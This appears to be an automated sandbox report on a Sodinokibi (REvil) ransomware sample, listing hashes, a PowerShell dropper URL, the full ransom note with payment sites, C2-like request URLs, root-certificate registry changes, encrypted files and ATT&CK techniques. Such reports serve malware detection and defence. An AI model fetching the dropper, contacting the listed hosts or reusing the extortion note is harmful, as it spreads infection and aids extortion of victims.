sodinokibi | f18541c904b443f13026355bd0f39b9e380f708cbc6799da5de746e3fc980962

General

Target

JFh52PBG.bat
Size

195B
MD5

27cfb7797118873eddaffa1b3dfa352a
SHA1

04332f9742db8be098ffc355c45e223e2aac778c
SHA256

f18541c904b443f13026355bd0f39b9e380f708cbc6799da5de746e3fc980962
SHA512

70584344af74c6ea7d80df5956c9fd95877a69e041053194949d30f84f327373d2a2b6328cbb03ef06e6b102736c49c09a77f8356c92530d7d13699f3f846ae5

Score

10^/10

ransomware evasion spyware trojan sodinokibi persistence

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/JFh52PBG

Extracted

Path

C:\krz0aw-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension krz0aw. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/DF44CE8B3125A7CA 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/DF44CE8B3125A7CA Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: 699P89a4QHxywj5L91rfkX++NM/3fWppZgBRxIgk3UvAvZgIpBTbNWCmFpms7TR9 JHnnW1gwto4kxA4tzpwzoDcQOx/lweUHg2zAUFI0cgd1Ie7Sznph0gR8dqTyvnRc 1C3roI6XOEd9IZEJ0Atg0ZkAFpaDRefSVqjnyP7rCeysKrOgar8VPkVYmMmfLr9H b/k9b6Tt3W+oKL5v7pcB9utsqwS0BR3PFGiAvcvNn++Wn6tUIqHpj5MfksNTZ++j zh06k0VheIyklMX2UJDbsdISqRnJuGoEDo4aojvD/2PZsA6/9kUJzxoTcKel01Zb Fc+k9kkiDamdU8JSDh4mBbCOaF5AQxLxRDJz5G8vgvX6JWBkSzyBDMZXrElr6u4t iq/G6seAGSqVkd7SFZatVR2dHAVqutSFq6Zgx1vN29RCKJEw7qgiJfYOPnZCp2k4 YtHrHl7qPUIJ5lqSNSvrswiFSlQROGfhFEwS2bWvvOtf+NjupzC06F9PREPvjYuw RXW6ms7Oo6RkCv79RucoietmiE08gK08LiPq8tefMXte5rzNe+9fCJ4YxQQgVshI gH7SnEDbCJ7mbGxWMsxgst3fDmM+IKRV6+ay1R7bySgr91zfEnAd0/ytZrmfuIgC rCNVN2EBn8wR2Z4xqilUx/mOTC4Ca7yN4gxs33mZfug1EoYzHE1ernUiusRlBaMd FJ+UzN4Da7awet+sJI0zWDbVPkn9thkAQ8/saBZ766TvUBCzGp8asZqmDGto8nnU KqbrxY2dtC5r+NpD45/N3dxn7XJ7bkfUWePVX9NOoC88LwaMx+VssQkCgF5+0s5P iGevxq0yBsWDNk05onK1UGBRWNexkd6A/ixfYDxekp3nqaku7kHgHEou5LJ0Rkuz D3SR2fl43VUR1ZiwCuEHJtO5gRpMRCQTjRWzw+IdZFu56CM6TZc9O9sS9PmPsrH4 pTqDJed1PkBHNIiU9cIc4HHhHIGTvv3MfFHw6O3bghux1yWJLCu3RWeCytSV9YrX LD+dozQh0Lbr9IgAmc37dihhZxOIyLn441BJBZ8pcEhSyMs2OB4tQ6+qc/BpJINH z7ctGDvGvFiE6vANwwbNL3YutK+3OirBQ3IB27mfNP+zzmsGe5IRGw5SfQGHGYPw EpL3o+uJDYN1YFjhKsQwoJ9CmMr1qVCygp788c6DlnotiPbqdheODdSi+2o+N7UZ eRWxu8QBIcDK5Ceh+472yepDe3iSjpP4guCBPiRYR/r6WNvd1uryOQO9pQN/AqVb 3h/J4edvXURh4W09np1WuSnu0YajXnBPC0DvVbweB9U= ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/DF44CE8B3125A7CA

http://decryptor.cc/DF44CE8B3125A7CA

Signatures

Suspicious use of WriteProcessMemory 5 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 1520 wrote to memory of 868	1520	cmd.exe	powershell.exe
PID 868 wrote to memory of 1176	868	powershell.exe	powershell.exe
PID 868 wrote to memory of 1176	868	powershell.exe	powershell.exe
PID 868 wrote to memory of 1176	868	powershell.exe	powershell.exe
PID 868 wrote to memory of 1176	868	powershell.exe	powershell.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exe

pid process

868 powershell.exe
868 powershell.exe
868 powershell.exe
1176 powershell.exe
1176 powershell.exe

pid	process
868	powershell.exe
868	powershell.exe
868	powershell.exe
1176	powershell.exe
1176	powershell.exe

Blacklisted process makes network request 124 IoCs

Processes:

powershell.exe

flow	pid	process
1	868	powershell.exe
5	868	powershell.exe
7	868	powershell.exe
9	868	powershell.exe
11	868	powershell.exe
12	868	powershell.exe
14	868	powershell.exe
15	868	powershell.exe
17	868	powershell.exe
18	868	powershell.exe
20	868	powershell.exe
22	868	powershell.exe
24	868	powershell.exe
26	868	powershell.exe
27	868	powershell.exe
29	868	powershell.exe
33	868	powershell.exe
35	868	powershell.exe
37	868	powershell.exe
39	868	powershell.exe
41	868	powershell.exe
43	868	powershell.exe
44	868	powershell.exe
46	868	powershell.exe
47	868	powershell.exe
49	868	powershell.exe
50	868	powershell.exe
52	868	powershell.exe
54	868	powershell.exe
56	868	powershell.exe
59	868	powershell.exe
61	868	powershell.exe
62	868	powershell.exe
65	868	powershell.exe
67	868	powershell.exe
69	868	powershell.exe
70	868	powershell.exe
72	868	powershell.exe
74	868	powershell.exe
76	868	powershell.exe
78	868	powershell.exe
79	868	powershell.exe
81	868	powershell.exe
83	868	powershell.exe
84	868	powershell.exe
86	868	powershell.exe
87	868	powershell.exe
89	868	powershell.exe
90	868	powershell.exe
92	868	powershell.exe
94	868	powershell.exe
96	868	powershell.exe
98	868	powershell.exe
99	868	powershell.exe
101	868	powershell.exe
102	868	powershell.exe
104	868	powershell.exe
105	868	powershell.exe
107	868	powershell.exe
109	868	powershell.exe
110	868	powershell.exe
112	868	powershell.exe
115	868	powershell.exe
117	868	powershell.exe

Modifies system certificate store 2 TTPs 10 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\317A2AD07F2B335EF5A1C34E4B57E8B7D8F1FCA6	powershell.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C	powershell.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 0400000001000000100000003e455215095192e1b75d379fb187298a0f00000001000000140000005a6d07b6371d966a2fb6ba92828ce5512a49513d190000000100000010000000a823b4a20180beb460cab955c24d7e21030000000100000014000000b1bc968bd4f49d622aa89a81f2150152a41d829c1d00000001000000100000006ee7f3b060d10e90a31ba3471b999236140000000100000014000000607b661a450d97ca89502f7d04cd34a8fffcfd4b0b000000010000001600000047006c006f00620061006c005300690067006e0000005300000001000000230000003021301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0090000000100000068000000306606082b0601050507030106082b0601050507030206082b0601050507030306082b0601050507030406082b0601050507030806082b06010505070309060a2b0601040182370a030406082b0601050507030606082b0601050507030706082b06010505080202200000000100000079030000308203753082025da003020102020b040000000001154b5ac394300d06092a864886f70d01010505003057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f74204341301e170d3938303930313132303030305a170d3238303132383132303030305a3057310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613110300e060355040b1307526f6f74204341311b301906035504031312476c6f62616c5369676e20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100da0ee6998dcea3e34f8a7efbf18b83256bea481ff12ab0b9951104bdf063d1e26766cf1cddcf1b482bee8d898e9aaf298065abe9c72d12cbab1c4c7007a13d0a30cd158d4ff8ddd48c50151cef50eec42ef7fce952f2917de06dd535308e5e4373f241e9d56ae3b2893a5639386f063c88695b2a4dc5a754b86c89cc9bf93ccae5fd89f5123c927896d6dc746e934461d18dc746b2750e86e8198ad56d6cd5781695a2e9c80a38ebf224134f73549313853a1bbc1e34b58b058cb9778bb1db1f2091ab09536e90ce7b3774b97047912251631679aeb1ae412608c8192bd146aa48d6642ad78334ff2c2ac16c19434a0785e7d37cf62168efeaf2529f7f9390cf0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e04160414607b661a450d97ca89502f7d04cd34a8fffcfd4b300d06092a864886f70d01010505000382010100d673e77c4f76d08dbfecbaa2be34c52832b57cfc6c9c2c2bbd099e53bf6b5eaa1148b6e508a3b3ca3d614dd34609b33ec3a0e363551bf2baefad39e143b938a3e62f8a263befa05056f9c60afd38cdc40b705194979804dfc35f94d515c914419cc45d7564150dff5530ec868fff0def2cb96346f6aafcdfbc69fd2e1248649ae095f0a6ef298f01b115b50c1da5fe692c6924781eb3a71c7162eecac897ac175d8ac2f847866e2ac4563195d06789852bf96ca65d469d0caa82e49951dd70b7db563d61e46ae15cd6f6fe3dde41cc07ae6352bf5353f42be9c7fdb6f7825f85d24118db81b3041cc51fa4806f1520c9de0c880a1dd66655e2fc48c9292669e0	powershell.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A\Blob = 190000000100000010000000fd960962ac6938e0d4b0769aa1a64e26040000000100000010000000324a4bbbc863699bbe749ac6dd1d46240f00000001000000140000000f6aad4c3fe04619cdc8b2bd655aa1a26042e650030000000100000014000000ad7e1c28b064ef8f6003402014c3d0e3370eb58a1d000000010000001000000090c4f4233b006b7bfaa6adcd8f577d77140000000100000014000000bf5fb7d1cedd1f86f45b55acdcd710c20ea988e709000000010000002a000000302806082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030353000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000005400000053007400610072006600690065006c006400200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f00720069007400790000002000000001000000130400003082040f308202f7a003020102020100300d06092a864886f70d01010505003068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137333931365a170d3334303632393137333931365a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100b732c8fee971a60485ad0c1164dfce4defc80318873fa1abfb3ca69ff0c3a1dad4d86e2b5390fb24a43e84f09ee85fece52744f528a63f7bdee02af0c8af532f9eca0501931e8f661c39a74dfa5ab673042566eb777fe759c64a99251454eb26c7f37f19d530708fafb0462affadeb29edd79faa0487a3d4f989a5345fdb43918236d9663cb1b8b982fd9c3a3e10c83bef0665667a9b19183dff71513c302e5fbe3d7773b25d066cc323569a2b8526921ca702b3e43f0daf087982b8363dea9cd335b3bc69caf5cc9de8fd648d1780336e5e4a5d99c91e87b49d1ac0d56e1335235edf9b5f3defd6f776c2ea3ebb780d1c42676b04d8f8d6da6f8bf244a001ab020103a381c53081c2301d0603551d0e04160414bf5fb7d1cedd1f86f45b55acdcd710c20ea988e73081920603551d2304818a3081878014bf5fb7d1cedd1f86f45b55acdcd710c20ea988e7a16ca46a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100059d3f889dd1c91a55a1ac69f3f359da9b01871a4f57a9a179092adbf72fb21eccc75e6ad88387a197ef49353e7706415862bf8e58b80a673fecb3dd21661fc954fa72cc3d4c40d881af779e837abba2c7f534178ed91140f4fc2c2a4d157fa7625d2e25d3000b201a1d68f917b8f4bd8bed2859dd4d168b1783c8b265c72d7aa5aabc53866ddd57a4caf820410b68f0f4fb74be565d7a79f5f91d85e32d95bef5719043cc8d1f9a000a8729e95522580023eae31243295b4708dd8c416a6506a8e521aa41b4952195b97dd134ab13d6adbcdce23d39cdbd3e7570a1185903c922b48f9cd55e2ad7a5b6d40a6df8b74011469a1f790e62bf0f97ece02f1f1794	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	powershell.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 430000000100000000000000040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d1900000001000000100000006cf252fec3e8f20996de5d4dd9aef424030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131d00000001000000100000004558d512eecb27464920897de7b66053140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc41560858910090000000100000016000000301406082b0601050507030406082b060105050703010b000000010000001e000000440053005400200052006f006f007400200043004100200058003300000020000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	powershell.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\317A2AD07F2B335EF5A1C34E4B57E8B7D8F1FCA6\Blob = 040000000100000010000000a923759bba49366e31c2dbf2e766ba870f000000010000001400000007eeabaf80a9ef4ae1b2cb9b4b5fc70d0428e6a919000000010000001000000044ba5fd9039fc9b56fd8aadccd597ca6030000000100000014000000317a2ad07f2b335ef5a1c34e4b57e8b7d8f1fca61d00000001000000100000005959ddbc9c7632ba0a05f06316846fe6140000000100000014000000a848b4242fc6ea24a0d78e3cb93c5c78d79833e4090000000100000016000000301406082b0601050507030406082b060105050703010b000000010000002e00000053007400610072006600690065006c006400200054006500630068006e006f006c006f006700690065007300000053000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c02000000001000000eb020000308202e730820250020101300d06092a864886f70d01010505003081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d301e170d3939303632363030313935345a170d3139303632363030313935345a3081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d30819f300d06092a864886f70d010101050003818d0030818902818100ce3a71cae5abc8599255d7abd8740ef9eed9f655475965470e0555dceb98363c5c535dd330cf38ecbd4189ed254209246b0a5eb37cdd522d4ce6d4d67d5a59a965d449132d244d1c506fb5c185543bfe71e4d35c42f980e0911a0a5b393667f33f557c1b3fb45f647334e3b412bf8764f8da12ff3727c1b343bbef7b6e2e69f70203010001300d06092a864886f70d0101050500038181003b7f506f6f509499496238381f4bf8a5c83ea78281f62bc7e8c5cee83a1082cb18008e4dbda8587fa17900b5bbe98daf41d90f34ee218119a0324928f4c48e56d55233fd50d57e996c03e4c94cfccb6cab66b34a218ce5b50c323e10b2cc6ca1dc9a984c025bf3ceb99ea5720e4ab73f3ce61668f8beed744cbc5bd5621f43dd	powershell.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A	powershell.exe

Makes http(s) request 47 IoCs

Contacts server via http/https, possibly for C2 communication.

Processes:

description	flow	ioc
HTTP URL	72	https://rafaut.com/admin/images/wxbtom.gif
HTTP URL	129	https://girlillamarketing.com/static/pics/iyhg.png
HTTP URL	135	https://intecwi.com/static/pictures/otmaihpkflwb.png
HTTP URL	160	https://fransespiegels.nl/news/tmp/xuwjeiua.jpg
HTTP URL	203	https://qualitus.com/uploads/images/vauklz.jpg
HTTP URL	20	https://tetinfo.in/data/pictures/udlbiu.png
HTTP URL	54	https://bristolaeroclub.co.uk/wp-content/game/ecls.png
HTTP URL	155	https://hrabritelefon.hr/wp-content/assets/pefkxzwirv.png
HTTP URL	172	https://leather-factory.co.jp/static/assets/ghedjuvk.jpg
HTTP URL	5	https://dutchcoder.nl/admin/game/hyroazpx.png
HTTP URL	56	https://www.bristolaeroclub.co.uk/wp-content/game/ecls.png
HTTP URL	146	https://dushka.ua/wp-content/image/wdgdse.gif
HTTP URL	197	https://www.mindpackstudios.com/uploads/pics/roqnrmth.png
HTTP URL	67	http://x.ss2.us/x.cer
HTTP URL	133	https://onlybacklink.com/wp-content/image/az.gif
HTTP URL	65	https://jusibe.com/news/temp/mspvqkvitr.gif
HTTP URL	81	https://oneheartwarriors.at/wp-content/game/mlwhmzvyyfhh.png
HTTP URL	123	https://ussmontanacommittee.us/include/images/qqufqw.gif
HTTP URL	148	https://www.dushka.ua/wp-content/image/wdgdse.gif
HTTP URL	187	https://fairfriends18.de/static/image/amsudghngx.jpg
HTTP URL	189	https://www.fairfriends18.de/static/image/amsudghngx.jpg
HTTP URL	1	http://185.103.242.78/pastes/JFh52PBG
HTTP URL	24	https://celeclub.org/data/graphic/ctfajyrcdmrp.gif
HTTP URL	201	https://xltyu.com/include/game/zldr.gif
HTTP URL	193	https://rerekatu.com/admin/tmp/hadpkxyr.jpg
HTTP URL	199	https://sporthamper.com/include/images/icfijq.gif
HTTP URL	94	https://vitalyscenter.es/include/images/itltbbvnmfey.png
HTTP URL	112	https://ditog.fr/admin/pics/krxkpmfnbo.gif
HTTP URL	138	https://work2live.de/news/assets/wbhb.jpg
HTTP URL	218	https://schutting-info.nl/static/image/okqczzopjunr.gif
HTTP URL	22	https://www.tetinfo.in/
HTTP URL	37	https://stoeberstuuv.de/wp-content/image/dahi.png
HTTP URL	131	https://jvanvlietdichter.nl/wp-content/temp/ytvr.jpg
HTTP URL	39	https://www.stoeberstuuv.de/wp-content/image/dahi.png
HTTP URL	74	https://thomasvicino.com/wp-content/assets/vzqf.png
HTTP URL	92	https://allfortheloveofyou.com/content/image/xcfovyizutvu.jpg
HTTP URL	195	https://mindpackstudios.com/uploads/pics/roqnrmth.png
HTTP URL	214	https://dubnew.com/news/images/iswpakoipywduz.png
HTTP URL	216	https://mediaplayertest.net/wp-content/graphic/hjmfdo.png
HTTP URL	224	https://slupetzky.at/wp-content/images/rhbsecpi.jpg
HTTP URL	227	https://rollingrockcolumbia.com/content/image/gpnbjfnedt.gif
HTTP URL	29	https://yourobgyn.net/include/assets/iwgg.gif
HTTP URL	41	https://physiofischer.de/wp-content/pictures/kbnqycmqyg.gif
HTTP URL	33	https://trystana.com/uploads/game/hdeaoyfull.jpg
HTTP URL	176	https://dpo-as-a-service.com/wp-content/graphic/xqzkkq.png
HTTP URL	7	http://apps.identrust.com/roots/dstrootcax3.p7c
HTTP URL	9	http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab

Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\v7ev.bmp"	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

868 powershell.exe

pid	process
868	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

powershell.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	868	powershell.exe
Token: SeDebugPrivilege	868	powershell.exe
Token: SeDebugPrivilege	1176	powershell.exe
Token: SeBackupPrivilege	464	vssvc.exe
Token: SeRestorePrivilege	464	vssvc.exe
Token: SeAuditPrivilege	464	vssvc.exe
Token: SeTakeOwnershipPrivilege	868	powershell.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description ioc process

File opened for modification C:\Windows\System32\CatRoot2\dberr.txt powershell.exe
Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

description	ioc	process
File opened for modification	C:\Windows\System32\CatRoot2\dberr.txt	powershell.exe

Modifies service 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe

Drops file in Program Files directory 26 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	\??\c:\program files\CloseCompare.001	powershell.exe
File opened for modification	\??\c:\program files\SkipExpand.ttc	powershell.exe
File opened for modification	\??\c:\program files\UnblockExpand.dot	powershell.exe
File opened for modification	\??\c:\program files\UseWait.mpeg	powershell.exe
File opened for modification	\??\c:\program files\DebugConnect.shtml	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\krz0aw-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\PushPop.MTS	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\desktop\krz0aw-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\RenameSplit.gif	powershell.exe
File created	\??\c:\program files\krz0aw-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\CheckpointNew.pcx	powershell.exe
File opened for modification	\??\c:\program files\ClearUnlock.snd	powershell.exe
File opened for modification	\??\c:\program files\ConvertFromCompare.aiff	powershell.exe
File opened for modification	\??\c:\program files\DenyAssert.3gp2	powershell.exe
File opened for modification	\??\c:\program files\MergePop.gif	powershell.exe
File opened for modification	\??\c:\program files\NewMount.3gpp	powershell.exe
File opened for modification	\??\c:\program files\WatchLimit.jpeg	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\krz0aw-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\WatchSync.vb	powershell.exe
File created	\??\c:\program files (x86)\krz0aw-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\InitializeSubmit.vstm	powershell.exe
File opened for modification	\??\c:\program files\MountCopy.docx	powershell.exe
File opened for modification	\??\c:\program files\ProtectRevoke.xla	powershell.exe
File opened for modification	\??\c:\program files\RedoRestart.asf	powershell.exe
File opened for modification	\??\c:\program files\RegisterGet.mp4	powershell.exe
File opened for modification	\??\c:\program files\SyncExit.TS	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\JFh52PBG.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1520

